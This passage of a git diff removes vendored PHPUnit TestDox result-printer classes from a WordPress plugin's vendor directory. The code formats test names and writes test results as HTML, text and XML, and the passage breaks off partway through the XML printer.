$status = null): string - { - return trim(TestFailure::exceptionToString($t)); - } - - protected function colorizeMessageAndDiff(string $style, string $buffer): array - { - $lines = $buffer ? array_map('\rtrim', explode(PHP_EOL, $buffer)) : []; - $message = []; - $diff = []; - $insideDiff = false; - - foreach ($lines as $line) { - if ($line === '--- Expected') { - $insideDiff = true; - } - - if (!$insideDiff) { - $message[] = $line; - } else { - if (strpos($line, '-') === 0) { - $line = Color::colorize('fg-red', Color::visualizeWhitespace($line, true)); - } elseif (strpos($line, '+') === 0) { - $line = Color::colorize('fg-green', Color::visualizeWhitespace($line, true)); - } elseif ($line === '@@ @@') { - $line = Color::colorize('fg-cyan', $line); - } - $diff[] = $line; - } - } - $diff = implode(PHP_EOL, $diff); - - if (!empty($message)) { - $message = $this->colorizeTextBox($style, implode(PHP_EOL, $message)); - } - - return [$message, $diff]; - } - - protected function formatStacktrace(Throwable $t): string - { - $trace = Filter::getFilteredStacktrace($t); - - if (!$this->colors) { - return $trace; - } - - $lines = []; - $prevPath = ''; - - foreach (explode(PHP_EOL, $trace) as $line) { - if (preg_match('/^(.*):(\d+)$/', $line, $matches)) { - $lines[] = Color::colorizePath($matches[1], $prevPath) . - Color::dim(':') . - Color::colorize('fg-blue', $matches[2]) . - "\n"; - $prevPath = $matches[1]; - } else { - $lines[] = $line; - $prevPath = ''; - } - } - - return implode('', $lines); - } - - protected function formatTestResultMessage(Throwable $t, array $result, ?string $prefix = null): string - { - $message = $this->formatThrowable($t, $result['status']); - $diff = ''; - - if (!($this->verbose || $result['verbose'])) { - return ''; - } - - if ($message && $this->colors) { - $style = self::STATUS_STYLES[$result['status']]['message'] ?? ''; - [$message, $diff] = $this->colorizeMessageAndDiff($style, $message); - } - - if ($prefix === null || !$this->colors) { - $prefix = self::PREFIX_SIMPLE; - } - - if ($this->colors) { - $color = self::STATUS_STYLES[$result['status']]['color'] ?? ''; - $prefix = array_map(static function ($p) use ($color) - { - return Color::colorize($color, $p); - }, self::PREFIX_DECORATED); - } - - $trace = $this->formatStacktrace($t); - $out = $this->prefixLines($prefix['start'], PHP_EOL) . PHP_EOL; - - if ($message) { - $out .= $this->prefixLines($prefix['message'], $message . PHP_EOL) . PHP_EOL; - } - - if ($diff) { - $out .= $this->prefixLines($prefix['diff'], $diff . PHP_EOL) . PHP_EOL; - } - - if ($trace) { - if ($message || $diff) { - $out .= $this->prefixLines($prefix['default'], PHP_EOL) . PHP_EOL; - } - $out .= $this->prefixLines($prefix['trace'], $trace . PHP_EOL) . PHP_EOL; - } - $out .= $this->prefixLines($prefix['last'], PHP_EOL) . PHP_EOL; - - return $out; - } - - protected function drawSpinner(): void - { - if ($this->colors) { - $id = $this->spinState % count(self::SPINNER_ICONS); - $this->write(self::SPINNER_ICONS[$id]); - } - } - - protected function undrawSpinner(): void - { - if ($this->colors) { - $id = $this->spinState % count(self::SPINNER_ICONS); - $this->write("\e[1K\e[" . strlen(self::SPINNER_ICONS[$id]) . 'D'); - } - } - - private function formatRuntime(float $time, string $color = ''): string - { - if (!$this->colors) { - return sprintf('[%.2f ms]', $time * 1000); - } - - if ($time > 1) { - $color = 'fg-magenta'; - } - - return Color::colorize($color, ' ' . (int) ceil($time * 1000) . ' ' . Color::dim('ms')); - } - - private function printNonSuccessfulTestsSummary(int $numberOfExecutedTests): void - { - if (empty($this->nonSuccessfulTestResults)) { - return; - } - - if ((count($this->nonSuccessfulTestResults) / $numberOfExecutedTests) >= 0.7) { - return; - } - - $this->write("Summary of non-successful tests:\n\n"); - - $prevResult = $this->getEmptyTestResult(); - - foreach ($this->nonSuccessfulTestResults as $testIndex) { - $result = $this->testResults[$testIndex]; - $this->writeTestResult($prevResult, $result); - $prevResult = $result; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/HtmlResultPrinter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/HtmlResultPrinter.php deleted file mode 100644 index d08bfad4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/HtmlResultPrinter.php +++ /dev/null @@ -1,159 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\TestDox; - -use function sprintf; -use PHPUnit\Framework\TestResult; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class HtmlResultPrinter extends ResultPrinter -{ - /** - * @var string - */ - private const PAGE_HEADER = <<<'EOT' - - - - - Test Documentation - - - -EOT; - - /** - * @var string - */ - private const CLASS_HEADER = <<<'EOT' - -

      %s

      -
        - -EOT; - - /** - * @var string - */ - private const CLASS_FOOTER = <<<'EOT' -
      -EOT; - - /** - * @var string - */ - private const PAGE_FOOTER = <<<'EOT' - - - -EOT; - - public function printResult(TestResult $result): void - { - } - - /** - * Handler for 'start run' event. - */ - protected function startRun(): void - { - $this->write(self::PAGE_HEADER); - } - - /** - * Handler for 'start class' event. - */ - protected function startClass(string $name): void - { - $this->write( - sprintf( - self::CLASS_HEADER, - $this->currentTestClassPrettified, - ), - ); - } - - /** - * Handler for 'on test' event. - */ - protected function onTest(string $name, bool $success = true): void - { - $this->write( - sprintf( - "
    • %s
    • \n", - $success ? 'success' : 'defect', - $name, - ), - ); - } - - /** - * Handler for 'end class' event. - */ - protected function endClass(string $name): void - { - $this->write(self::CLASS_FOOTER); - } - - /** - * Handler for 'end run' event. - */ - protected function endRun(): void - { - $this->write(self::PAGE_FOOTER); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/NamePrettifier.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/NamePrettifier.php deleted file mode 100644 index f67cff68..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/NamePrettifier.php +++ /dev/null @@ -1,313 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\TestDox; - -use function array_key_exists; -use function array_keys; -use function array_map; -use function array_pop; -use function array_values; -use function explode; -use function get_class; -use function gettype; -use function implode; -use function in_array; -use function is_bool; -use function is_float; -use function is_int; -use function is_numeric; -use function is_object; -use function is_scalar; -use function is_string; -use function ord; -use function preg_quote; -use function preg_replace; -use function range; -use function sprintf; -use function str_replace; -use function strlen; -use function strpos; -use function strtolower; -use function strtoupper; -use function substr; -use function trim; -use PHPUnit\Framework\TestCase; -use PHPUnit\Util\Color; -use PHPUnit\Util\Exception as UtilException; -use PHPUnit\Util\Test; -use ReflectionException; -use ReflectionMethod; -use ReflectionObject; -use SebastianBergmann\Exporter\Exporter; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class NamePrettifier -{ - /** - * @var string[] - */ - private $strings = []; - - /** - * @var bool - */ - private $useColor; - - public function __construct(bool $useColor = false) - { - $this->useColor = $useColor; - } - - /** - * Prettifies the name of a test class. - * - * @psalm-param class-string $className - */ - public function prettifyTestClass(string $className): string - { - try { - $annotations = Test::parseTestMethodAnnotations($className); - - if (isset($annotations['class']['testdox'][0])) { - return $annotations['class']['testdox'][0]; - } - } catch (UtilException $e) { - // ignore, determine className by parsing the provided name - } - - $parts = explode('\\', $className); - $className = array_pop($parts); - - if (substr($className, -1 * strlen('Test')) === 'Test') { - $className = substr($className, 0, strlen($className) - strlen('Test')); - } - - if (strpos($className, 'Tests') === 0) { - $className = substr($className, strlen('Tests')); - } elseif (strpos($className, 'Test') === 0) { - $className = substr($className, strlen('Test')); - } - - if (empty($className)) { - $className = 'UnnamedTests'; - } - - if (!empty($parts)) { - $parts[] = $className; - $fullyQualifiedName = implode('\\', $parts); - } else { - $fullyQualifiedName = $className; - } - - $result = preg_replace('/(?<=[[:lower:]])(?=[[:upper:]])/u', ' ', $className); - - if ($fullyQualifiedName !== $className) { - return $result . ' (' . $fullyQualifiedName . ')'; - } - - return $result; - } - - /** - * @throws InvalidArgumentException - */ - public function prettifyTestCase(TestCase $test): string - { - $annotations = Test::parseTestMethodAnnotations( - get_class($test), - $test->getName(false), - ); - - $annotationWithPlaceholders = false; - - $callback = static function (string $variable): string - { - return sprintf('/%s(?=\b)/', preg_quote($variable, '/')); - }; - - if (isset($annotations['method']['testdox'][0])) { - $result = $annotations['method']['testdox'][0]; - - if (strpos($result, '$') !== false) { - $annotation = $annotations['method']['testdox'][0]; - $providedData = $this->mapTestMethodParameterNamesToProvidedDataValues($test); - $variables = array_map($callback, array_keys($providedData)); - - $result = trim(preg_replace($variables, $providedData, $annotation)); - - $annotationWithPlaceholders = true; - } - } else { - $result = $this->prettifyTestMethod($test->getName(false)); - } - - if (!$annotationWithPlaceholders && $test->usesDataProvider()) { - $result .= $this->prettifyDataSet($test); - } - - return $result; - } - - public function prettifyDataSet(TestCase $test): string - { - if (!$this->useColor) { - return $test->getDataSetAsString(false); - } - - if (is_int($test->dataName())) { - $data = Color::dim(' with data set ') . Color::colorize('fg-cyan', (string) $test->dataName()); - } else { - $data = Color::dim(' with ') . Color::colorize('fg-cyan', Color::visualizeWhitespace((string) $test->dataName())); - } - - return $data; - } - - /** - * Prettifies the name of a test method. - */ - public function prettifyTestMethod(string $name): string - { - $buffer = ''; - - if ($name === '') { - return $buffer; - } - - $string = (string) preg_replace('#\d+$#', '', $name, -1, $count); - - if (in_array($string, $this->strings, true)) { - $name = $string; - } elseif ($count === 0) { - $this->strings[] = $string; - } - - if (strpos($name, 'test_') === 0) { - $name = substr($name, 5); - } elseif (strpos($name, 'test') === 0) { - $name = substr($name, 4); - } - - if ($name === '') { - return $buffer; - } - - $name[0] = strtoupper($name[0]); - - if (strpos($name, '_') !== false) { - return trim(str_replace('_', ' ', $name)); - } - - $wasNumeric = false; - - foreach (range(0, strlen($name) - 1) as $i) { - if ($i > 0 && ord($name[$i]) >= 65 && ord($name[$i]) <= 90) { - $buffer .= ' ' . strtolower($name[$i]); - } else { - $isNumeric = is_numeric($name[$i]); - - if (!$wasNumeric && $isNumeric) { - $buffer .= ' '; - $wasNumeric = true; - } - - if ($wasNumeric && !$isNumeric) { - $wasNumeric = false; - } - - $buffer .= $name[$i]; - } - } - - return $buffer; - } - - /** - * @throws InvalidArgumentException - */ - private function mapTestMethodParameterNamesToProvidedDataValues(TestCase $test): array - { - try { - $reflector = new ReflectionMethod(get_class($test), $test->getName(false)); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new UtilException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $providedData = []; - $providedDataValues = array_values($test->getProvidedData()); - $i = 0; - - $providedData['$_dataName'] = $test->dataName(); - - foreach ($reflector->getParameters() as $parameter) { - if (!array_key_exists($i, $providedDataValues) && $parameter->isDefaultValueAvailable()) { - try { - $providedDataValues[$i] = $parameter->getDefaultValue(); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new UtilException( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - } - - $value = $providedDataValues[$i++] ?? null; - - if (is_object($value)) { - $reflector = new ReflectionObject($value); - - if ($reflector->hasMethod('__toString')) { - $value = (string) $value; - } else { - $value = get_class($value); - } - } - - if (!is_scalar($value)) { - $value = gettype($value); - } - - if (is_bool($value) || is_int($value) || is_float($value)) { - $value = (new Exporter)->export($value); - } - - if (is_string($value) && $value === '') { - if ($this->useColor) { - $value = Color::colorize('dim,underlined', 'empty'); - } else { - $value = "''"; - } - } - - $providedData['$' . $parameter->getName()] = $value; - } - - if ($this->useColor) { - $providedData = array_map(static function ($value) - { - return Color::colorize('fg-cyan', Color::visualizeWhitespace((string) $value, true)); - }, $providedData); - } - - return $providedData; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/ResultPrinter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/ResultPrinter.php deleted file mode 100644 index 841279e8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/ResultPrinter.php +++ /dev/null @@ -1,345 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\TestDox; - -use function get_class; -use function in_array; -use PHPUnit\Framework\AssertionFailedError; -use PHPUnit\Framework\ErrorTestCase; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Framework\Warning; -use PHPUnit\Framework\WarningTestCase; -use PHPUnit\Runner\BaseTestRunner; -use PHPUnit\TextUI\ResultPrinter as ResultPrinterInterface; -use PHPUnit\Util\Printer; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -abstract class ResultPrinter extends Printer implements ResultPrinterInterface -{ - /** - * @var NamePrettifier - */ - protected $prettifier; - - /** - * @var string - */ - protected $testClass = ''; - - /** - * @var int - */ - protected $testStatus; - - /** - * @var array - */ - protected $tests = []; - - /** - * @var int - */ - protected $successful = 0; - - /** - * @var int - */ - protected $warned = 0; - - /** - * @var int - */ - protected $failed = 0; - - /** - * @var int - */ - protected $risky = 0; - - /** - * @var int - */ - protected $skipped = 0; - - /** - * @var int - */ - protected $incomplete = 0; - - /** - * @var null|string - */ - protected $currentTestClassPrettified; - - /** - * @var null|string - */ - protected $currentTestMethodPrettified; - - /** - * @var array - */ - private $groups; - - /** - * @var array - */ - private $excludeGroups; - - /** - * @param resource $out - * - * @throws Exception - */ - public function __construct($out = null, array $groups = [], array $excludeGroups = []) - { - parent::__construct($out); - - $this->groups = $groups; - $this->excludeGroups = $excludeGroups; - - $this->prettifier = new NamePrettifier; - $this->startRun(); - } - - /** - * Flush buffer and close output. - */ - public function flush(): void - { - $this->doEndClass(); - $this->endRun(); - - parent::flush(); - } - - /** - * An error occurred. - */ - public function addError(Test $test, Throwable $t, float $time): void - { - if (!$this->isOfInterest($test)) { - return; - } - - $this->testStatus = BaseTestRunner::STATUS_ERROR; - $this->failed++; - } - - /** - * A warning occurred. - */ - public function addWarning(Test $test, Warning $e, float $time): void - { - if (!$this->isOfInterest($test)) { - return; - } - - $this->testStatus = BaseTestRunner::STATUS_WARNING; - $this->warned++; - } - - /** - * A failure occurred. - */ - public function addFailure(Test $test, AssertionFailedError $e, float $time): void - { - if (!$this->isOfInterest($test)) { - return; - } - - $this->testStatus = BaseTestRunner::STATUS_FAILURE; - $this->failed++; - } - - /** - * Incomplete test. - */ - public function addIncompleteTest(Test $test, Throwable $t, float $time): void - { - if (!$this->isOfInterest($test)) { - return; - } - - $this->testStatus = BaseTestRunner::STATUS_INCOMPLETE; - $this->incomplete++; - } - - /** - * Risky test. - */ - public function addRiskyTest(Test $test, Throwable $t, float $time): void - { - if (!$this->isOfInterest($test)) { - return; - } - - $this->testStatus = BaseTestRunner::STATUS_RISKY; - $this->risky++; - } - - /** - * Skipped test. - */ - public function addSkippedTest(Test $test, Throwable $t, float $time): void - { - if (!$this->isOfInterest($test)) { - return; - } - - $this->testStatus = BaseTestRunner::STATUS_SKIPPED; - $this->skipped++; - } - - /** - * A testsuite started. - */ - public function startTestSuite(TestSuite $suite): void - { - } - - /** - * A testsuite ended. - */ - public function endTestSuite(TestSuite $suite): void - { - } - - /** - * A test started. - * - * @throws InvalidArgumentException - */ - public function startTest(Test $test): void - { - if (!$this->isOfInterest($test)) { - return; - } - - $class = get_class($test); - - if ($this->testClass !== $class) { - if ($this->testClass !== '') { - $this->doEndClass(); - } - - $this->currentTestClassPrettified = $this->prettifier->prettifyTestClass($class); - $this->testClass = $class; - $this->tests = []; - - $this->startClass($class); - } - - if ($test instanceof TestCase) { - $this->currentTestMethodPrettified = $this->prettifier->prettifyTestCase($test); - } - - $this->testStatus = BaseTestRunner::STATUS_PASSED; - } - - /** - * A test ended. - */ - public function endTest(Test $test, float $time): void - { - if (!$this->isOfInterest($test)) { - return; - } - - $this->tests[] = [$this->currentTestMethodPrettified, $this->testStatus]; - - $this->currentTestClassPrettified = null; - $this->currentTestMethodPrettified = null; - } - - protected function doEndClass(): void - { - foreach ($this->tests as $test) { - $this->onTest($test[0], $test[1] === BaseTestRunner::STATUS_PASSED); - } - - $this->endClass($this->testClass); - } - - /** - * Handler for 'start run' event. - */ - protected function startRun(): void - { - } - - /** - * Handler for 'start class' event. - */ - protected function startClass(string $name): void - { - } - - /** - * Handler for 'on test' event. - */ - protected function onTest(string $name, bool $success = true): void - { - } - - /** - * Handler for 'end class' event. - */ - protected function endClass(string $name): void - { - } - - /** - * Handler for 'end run' event. - */ - protected function endRun(): void - { - } - - private function isOfInterest(Test $test): bool - { - if (!$test instanceof TestCase) { - return false; - } - - if ($test instanceof ErrorTestCase || $test instanceof WarningTestCase) { - return false; - } - - if (!empty($this->groups)) { - foreach ($test->getGroups() as $group) { - if (in_array($group, $this->groups, true)) { - return true; - } - } - - return false; - } - - if (!empty($this->excludeGroups)) { - foreach ($test->getGroups() as $group) { - if (in_array($group, $this->excludeGroups, true)) { - return false; - } - } - - return true; - } - - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/TestDoxPrinter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/TestDoxPrinter.php deleted file mode 100644 index 9e1fdab1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/TestDoxPrinter.php +++ /dev/null @@ -1,392 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\TestDox; - -use const PHP_EOL; -use function array_map; -use function get_class; -use function implode; -use function method_exists; -use function preg_split; -use function trim; -use PHPUnit\Framework\AssertionFailedError; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\Reorderable; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestFailure; -use PHPUnit\Framework\TestResult; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Framework\Warning; -use PHPUnit\Runner\BaseTestRunner; -use PHPUnit\Runner\PhptTestCase; -use PHPUnit\TextUI\DefaultResultPrinter; -use PHPUnit\Util\Filter; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class TestDoxPrinter extends DefaultResultPrinter -{ - /** - * @var NamePrettifier - */ - protected $prettifier; - - /** - * @var int The number of test results received from the TestRunner - */ - protected $testIndex = 0; - - /** - * @var int The number of test results already sent to the output - */ - protected $testFlushIndex = 0; - - /** - * @var array Buffer for test results - */ - protected $testResults = []; - - /** - * @var array Lookup table for testname to testResults[index] - */ - protected $testNameResultIndex = []; - - /** - * @var bool - */ - protected $enableOutputBuffer = false; - - /** - * @var array array - */ - protected $originalExecutionOrder = []; - - /** - * @var int - */ - protected $spinState = 0; - - /** - * @var bool - */ - protected $showProgress = true; - - /** - * @param null|resource|string $out - * @param int|string $numberOfColumns - * - * @throws Exception - */ - public function __construct($out = null, bool $verbose = false, string $colors = self::COLOR_DEFAULT, bool $debug = false, $numberOfColumns = 80, bool $reverse = false) - { - parent::__construct($out, $verbose, $colors, $debug, $numberOfColumns, $reverse); - - $this->prettifier = new NamePrettifier($this->colors); - } - - public function setOriginalExecutionOrder(array $order): void - { - $this->originalExecutionOrder = $order; - $this->enableOutputBuffer = !empty($order); - } - - public function setShowProgressAnimation(bool $showProgress): void - { - $this->showProgress = $showProgress; - } - - public function printResult(TestResult $result): void - { - } - - /** - * @throws InvalidArgumentException - */ - public function endTest(Test $test, float $time): void - { - if (!$test instanceof TestCase && !$test instanceof PhptTestCase && !$test instanceof TestSuite) { - return; - } - - if ($this->testHasPassed()) { - $this->registerTestResult($test, null, BaseTestRunner::STATUS_PASSED, $time, false); - } - - if ($test instanceof TestCase || $test instanceof PhptTestCase) { - $this->testIndex++; - } - - parent::endTest($test, $time); - } - - /** - * @throws InvalidArgumentException - */ - public function addError(Test $test, Throwable $t, float $time): void - { - $this->registerTestResult($test, $t, BaseTestRunner::STATUS_ERROR, $time, true); - } - - /** - * @throws InvalidArgumentException - */ - public function addWarning(Test $test, Warning $e, float $time): void - { - $this->registerTestResult($test, $e, BaseTestRunner::STATUS_WARNING, $time, true); - } - - /** - * @throws InvalidArgumentException - */ - public function addFailure(Test $test, AssertionFailedError $e, float $time): void - { - $this->registerTestResult($test, $e, BaseTestRunner::STATUS_FAILURE, $time, true); - } - - /** - * @throws InvalidArgumentException - */ - public function addIncompleteTest(Test $test, Throwable $t, float $time): void - { - $this->registerTestResult($test, $t, BaseTestRunner::STATUS_INCOMPLETE, $time, false); - } - - /** - * @throws InvalidArgumentException - */ - public function addRiskyTest(Test $test, Throwable $t, float $time): void - { - $this->registerTestResult($test, $t, BaseTestRunner::STATUS_RISKY, $time, false); - } - - /** - * @throws InvalidArgumentException - */ - public function addSkippedTest(Test $test, Throwable $t, float $time): void - { - $this->registerTestResult($test, $t, BaseTestRunner::STATUS_SKIPPED, $time, false); - } - - public function writeProgress(string $progress): void - { - $this->flushOutputBuffer(); - } - - public function flush(): void - { - $this->flushOutputBuffer(true); - } - - /** - * @throws InvalidArgumentException - */ - protected function registerTestResult(Test $test, ?Throwable $t, int $status, float $time, bool $verbose): void - { - $testName = $test instanceof Reorderable ? $test->sortId() : $test->getName(); - - $result = [ - 'className' => $this->formatClassName($test), - 'testName' => $testName, - 'testMethod' => $this->formatTestName($test), - 'message' => '', - 'status' => $status, - 'time' => $time, - 'verbose' => $verbose, - ]; - - if ($t !== null) { - $result['message'] = $this->formatTestResultMessage($t, $result); - } - - $this->testResults[$this->testIndex] = $result; - $this->testNameResultIndex[$testName] = $this->testIndex; - } - - protected function formatTestName(Test $test): string - { - return method_exists($test, 'getName') ? $test->getName() : ''; - } - - protected function formatClassName(Test $test): string - { - return get_class($test); - } - - protected function testHasPassed(): bool - { - if (!isset($this->testResults[$this->testIndex]['status'])) { - return true; - } - - if ($this->testResults[$this->testIndex]['status'] === BaseTestRunner::STATUS_PASSED) { - return true; - } - - return false; - } - - protected function flushOutputBuffer(bool $forceFlush = false): void - { - if ($this->testFlushIndex === $this->testIndex) { - return; - } - - if ($this->testFlushIndex > 0) { - if ($this->enableOutputBuffer && - isset($this->originalExecutionOrder[$this->testFlushIndex - 1])) { - $prevResult = $this->getTestResultByName($this->originalExecutionOrder[$this->testFlushIndex - 1]); - } else { - $prevResult = $this->testResults[$this->testFlushIndex - 1]; - } - } else { - $prevResult = $this->getEmptyTestResult(); - } - - if (!$this->enableOutputBuffer) { - $this->writeTestResult($prevResult, $this->testResults[$this->testFlushIndex++]); - } else { - do { - $flushed = false; - - if (!$forceFlush && isset($this->originalExecutionOrder[$this->testFlushIndex])) { - $result = $this->getTestResultByName($this->originalExecutionOrder[$this->testFlushIndex]); - } else { - // This test(name) cannot found in original execution order, - // flush result to output stream right away - $result = $this->testResults[$this->testFlushIndex]; - } - - if (!empty($result)) { - $this->hideSpinner(); - $this->writeTestResult($prevResult, $result); - $this->testFlushIndex++; - $prevResult = $result; - $flushed = true; - } else { - $this->showSpinner(); - } - } while ($flushed && $this->testFlushIndex < $this->testIndex); - } - } - - protected function showSpinner(): void - { - if (!$this->showProgress) { - return; - } - - if ($this->spinState) { - $this->undrawSpinner(); - } - - $this->spinState++; - $this->drawSpinner(); - } - - protected function hideSpinner(): void - { - if (!$this->showProgress) { - return; - } - - if ($this->spinState) { - $this->undrawSpinner(); - } - - $this->spinState = 0; - } - - protected function drawSpinner(): void - { - // optional for CLI printers: show the user a 'buffering output' spinner - } - - protected function undrawSpinner(): void - { - // remove the spinner from the current line - } - - protected function writeTestResult(array $prevResult, array $result): void - { - } - - protected function getEmptyTestResult(): array - { - return [ - 'className' => '', - 'testName' => '', - 'message' => '', - 'failed' => '', - 'verbose' => '', - ]; - } - - protected function getTestResultByName(?string $testName): array - { - if (isset($this->testNameResultIndex[$testName])) { - return $this->testResults[$this->testNameResultIndex[$testName]]; - } - - return []; - } - - protected function formatThrowable(Throwable $t, ?int $status = null): string - { - $message = trim(TestFailure::exceptionToString($t)); - - if ($message) { - $message .= PHP_EOL . PHP_EOL . $this->formatStacktrace($t); - } else { - $message = $this->formatStacktrace($t); - } - - return $message; - } - - protected function formatStacktrace(Throwable $t): string - { - return Filter::getFilteredStacktrace($t); - } - - protected function formatTestResultMessage(Throwable $t, array $result, string $prefix = '│'): string - { - $message = $this->formatThrowable($t, $result['status']); - - if ($message === '') { - return ''; - } - - if (!($this->verbose || $result['verbose'])) { - return ''; - } - - return $this->prefixLines($prefix, $message); - } - - protected function prefixLines(string $prefix, string $message): string - { - $message = trim($message); - - return implode( - PHP_EOL, - array_map( - static function (string $text) use ($prefix) - { - return ' ' . $prefix . ($text ? ' ' . $text : ''); - }, - preg_split('/\r\n|\r|\n/', $message), - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/TextResultPrinter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/TextResultPrinter.php deleted file mode 100644 index 8a1893e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/TextResultPrinter.php +++ /dev/null @@ -1,52 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\TestDox; - -use PHPUnit\Framework\TestResult; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TextResultPrinter extends ResultPrinter -{ - public function printResult(TestResult $result): void - { - } - - /** - * Handler for 'start class' event. - */ - protected function startClass(string $name): void - { - $this->write($this->currentTestClassPrettified . "\n"); - } - - /** - * Handler for 'on test' event. - */ - protected function onTest(string $name, bool $success = true): void - { - if ($success) { - $this->write(' [x] '); - } else { - $this->write(' [ ] '); - } - - $this->write($name . "\n"); - } - - /** - * Handler for 'end class' event. - */ - protected function endClass(string $name): void - { - $this->write("\n"); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/XmlResultPrinter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/XmlResultPrinter.php deleted file mode 100644 index 10b7bff7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/XmlResultPrinter.php +++ /dev/null @@ -1,262 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\TestDox; - -use function array_filter; -use function get_class; -use function implode; -use function strpos; -use DOMDocument; -use DOMElement; -use PHPUnit\Framework\AssertionFailedError; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestListener; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Framework\Warning; -use PHPUnit\Framework\WarningTestCase; -use PHPUnit\Util\Printer; -use PHPUnit\Util\Test as TestUtil; -use ReflectionClass; -use ReflectionException; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class XmlResultPrinter extends Printer implements TestListener -{ - /** - * @var DOMDocument - */ - private $document; - - /** - * @var DOMElement - */ - private $root; - - /** - * @var NamePrettifier - */ - private $prettifier; - - /** - * @var null|Throwable - */ - private $exception; - - /** - * @param resource|string $out - * - * @throws Exception - */ - public function __construct($out = null) - { - $this->document = new DOMDocument('1.0', 'UTF-8'); - $this->document->formatOutput = true; - - $this->root = $this->document->createElement('tests'); - $this->document->appendChild($this->root); - - $this->prettifier = new NamePrettifier; - - parent::__construct($out); - } - - /** - * Flush buffer and close output. - */ - public function flush(): void - { - $this->write($this->document->saveXML()); - - parent::flush(); - } - - /** - * An error occurred. - */ - public function addError(Test $test, Throwable $t, float $time): void - { - $this->exception = $t; - } - - /** - * A warning occurred. - */ - public function addWarning(Test $test, Warning $e, float $time): void - { - } - - /** - * A failure occurred. - */ - public function addFailure(Test $test, AssertionFailedError $e, float $time): void - { - $this->exception = $e; - } - - /** - * Incomplete test. - */ - public function addIncompleteTest(Test $test, Throwable $t, float $time): void - { - } - - /** - * Risky test. - */ - public function addRiskyTest(Test $test, Throwable $t, float $time): void - { - } - - /** - * Skipped test. - */ - public function addSkippedTest(Test $test, Throwable $t, float $time): void - { - } - - /** - * A test suite started. - */ - public function startTestSuite(TestSuite $suite): void - { - } - - /** - * A test suite ended. - */ - public function endTestSuite(TestSuite $suite): void - { - } - - /** - * A test started. - */ - public function startTest(Test $test): void - { - $this->exception = null; - } - - /** - * A test ended. - * - * @throws InvalidArgumentException - */ - public function endTest(Test $test, float $time): void - { - if (!$test instanceof TestCase || $test instanceof WarningTestCase) { - return; - } - - $groups = array_filter( - $test->getGroups(), - static function ($group) - { - return !($group === 'small' || $group === 'medium' || $group === 'large' || strpos($group, '__phpunit_') === 0); - }, - ); - - $testNode = $this->document->createElement('test'); - - 